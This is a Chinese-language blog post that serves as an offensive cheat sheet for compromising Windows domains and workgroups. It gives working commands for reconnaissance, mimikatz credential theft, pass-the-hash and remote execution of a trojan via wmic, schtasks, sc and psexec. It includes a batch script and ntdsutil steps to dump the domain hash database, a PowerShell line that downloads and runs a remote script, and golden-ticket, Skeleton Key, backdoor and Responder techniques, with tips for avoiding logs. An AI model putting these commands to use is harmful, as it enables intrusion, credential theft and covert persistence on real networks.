windows内网渗透杂谈

最后编辑时间: 2017-07-25

域渗透

  1. 域信息收集
  2. 获取域权限
  3. dump域hash
  4. 权限维持

工作组渗透

  1. 常规内网渗透
  2. 各种欺骗攻击

域渗透

域信息收集

0x01 查询当前域信息

net view /domain
net config workstation
net group "Domain Admins" /domain
net time /domain
ipconfig /all
nslookup xxx
dsquery server

查看域控制器
net group "Domain controllers"

查询所有计算机名称(windows 2003)

dsquery computer

下面这条查询的时候,域控不会列出

net group "Domain Computers" /domain

还可以通过powershell进行信息搜集,收集的信息包括域控机器,网段信息,域内服务列表。使用powershell的话,首先要绕过默认的安全策略,具体看文章https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

PowerSploit\Recon\PowerView.ps1

powerview Get-NetDomainController 收集域控信息 具体的可以看看powerview的帮助文件 域内服务信息收集,在域环境中其实无需做端口扫描。直接通过SPN进行信息收集,具体脚本

PowerShell-AD-Recon/blob/master/Discover-PSInterestingServices.ps1

0x02域内权限获取

1.日常规服务,通过前面收集的服务信息,针对性跑这些服务。其中跑sqlserver弱口令比较好,跑出来了就可以执行命令。

2.抓密码 拿到一台域服务器后,首先加载mimikatz的powershell脚本将内置的信息抓取一遍,如果域管理员登录过的话,直接就获取到了域管权限。但是在windows2012后mimikatz抓不到明文了(包括打了KB2871997这个补丁的机器),只能通过修改服务器上面的一些设置来获取,有完整的powershell利用脚本。 https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed

3.pass the hash 抓到密码破不出来就只能pth了,可以使用mimakatz

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a

但是打了KB2871997这个补丁后常规的pth不能用了,只能传递administrator这个账号(sid=500),但是可以使用mimikatz任意传递aes256

4.steal token 当你获取了本地计算机的system权限后,如果这台机器上有域用户跑的进程,就直接可以窃取域账号的token,然后从本地用户组跨入域环境。如果这台机器上有域管的开的进程,那么直接steal token后就可以登录域控了。

5.远程执行命令方法

copy muma.exe \\host\c$\windows\temp\foobar.exe ##IPC拷贝木马文件

WMIC远程运行命令


wmic /node:host /user:administrator /p 密码 process call createc:\windows\temp\foobar.exe”

powershell remoting 执行命令

schtasks计划任务远程运行

schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe
/sc once /st 00:00 /S host /RU System schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host ##清除schtasks

SC添加服务远程运行命令

sc \\host create foobar binpath=“c:\windows\temp\foobar.exe” ##新建服务,指向拷贝的木马路径
sc \\host start foobar ##启动建立的服务
sc \\host delete foobar ##完事后删除服务

PStools 远程执行命令

psexec.exe \\ipaccepteula -u username -p password program.exe

PTH+compmgmt.msc

smb+MOF

smbexec远程执行命令

copy execserver.exe \\host\c$\windows\ 
test.exe ip user password command netshare

不推荐使用pstools,因为会留下很多痕迹,日志要记录,并且如果禁用NTLM那么psexec无法利用获得的ntlm hash进行远程连接

6.ms14068 && GPP ms14068 可以通过先执行klist purge 然后在用mimikatz注入证书 这样域用户也可以直接使用这个漏洞。 GPP漏洞介绍 http://www.91ri.org/14909.html

0x03 dump域内hash

1.非交互式 QuarkPwDump离线分析 需要文件:ntds.dit system.hiv 导出 system.hiv

reg save hklm\system system.hiv

QuarksPwDump.exe -k 可以获取key

导出ntds.dit

连接到域控之后,上传bat 利用vshadow备份ntds.dit

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow-2008-x64.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

新建服务执行

sc create backupntds binPath= "cmd /c start c:\windows\temp\ntds.bat"
sc start backupntds
sc detele backupntds

导出HASH

QuarksPwDump.exe -dhd -nt ntds.dit -sf system.hiv -o hash.txt

ntdsutil导出

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" quit quit
ntdsutil snapshot "delete {GUID}" quit quit

powershell 导出ntds.dit

powershell IEX (New-ObjectNet.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"

powershell导出后需要修复一下

esentutl /p /o ntds.dit
  1. 交互式

导出ntds.dit

windows2008之后可以使用ntdsutil

0x04权限维持

  1. golden ticket golden ticket 四要素
user 用户名
domain 域完整名称
sid   获取方式:whoami /all  powerview 里面的  Convert-NameToSid ESRINEA\administrator   psgetsid  -accepteula ESRINEA\administrator (PStoos存在)   mimikatz SID::lookup name
krbgt ntml hash   mimikatz “@lsadump::dcsync /domain:域完整名称 /user:krbtgt"

保存golden ticket

mimikatz kerberos::golden /user:administrator /domain:ESRINEA.LOCAL /sid:S-1-5-21-2609584263-878513794-3710365111-500 /krbtgt:EDC094659D9C18F4E320C70838404D43 /ticket:ESRINEA.LOCAL.kirbi

使用golden ticket

mimikatz keberos::ptt ESRINEA.LOCAL.kirbi

  1. mimikatz Skeleton Key SSP Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录现有的所有域用户使用原密码仍能继续登录,重启后失效,使用mimikatz就可以安装。
  2. 记录域控密码 https://gist.github.com/mubix/6514311#file-evilpassfilter-cpp
  3. dump 域内所有hash
  4. 常用软件插后门 https://github.com/secretsquirrel/the-backdoor-factory
  5. cobalt-strike-persistence https://github.com/Tom4t0/cobalt-strike-persistence
  6. EXCHANGE服务器留webshell
  7. 控制一些vpn账号
  8. dump dns解析记录 dump ldap信息

工作组渗透

常规内网渗透

  1. 日服务
  2. pass the hash

各种欺骗攻击

https://github.com/SpiderLabs/Responder 撸下内网一个网站挂上<img src=\\xxx\\xx>然后执行下面命令,就可以抓取ntlmv2 hash

./Responder.py -I eth0 -rPv

SMBRelay Attack

impacket

cobaltstrike工具免杀

cobaltstrike+veil

请在下方留下您的评论.加入TG吹水群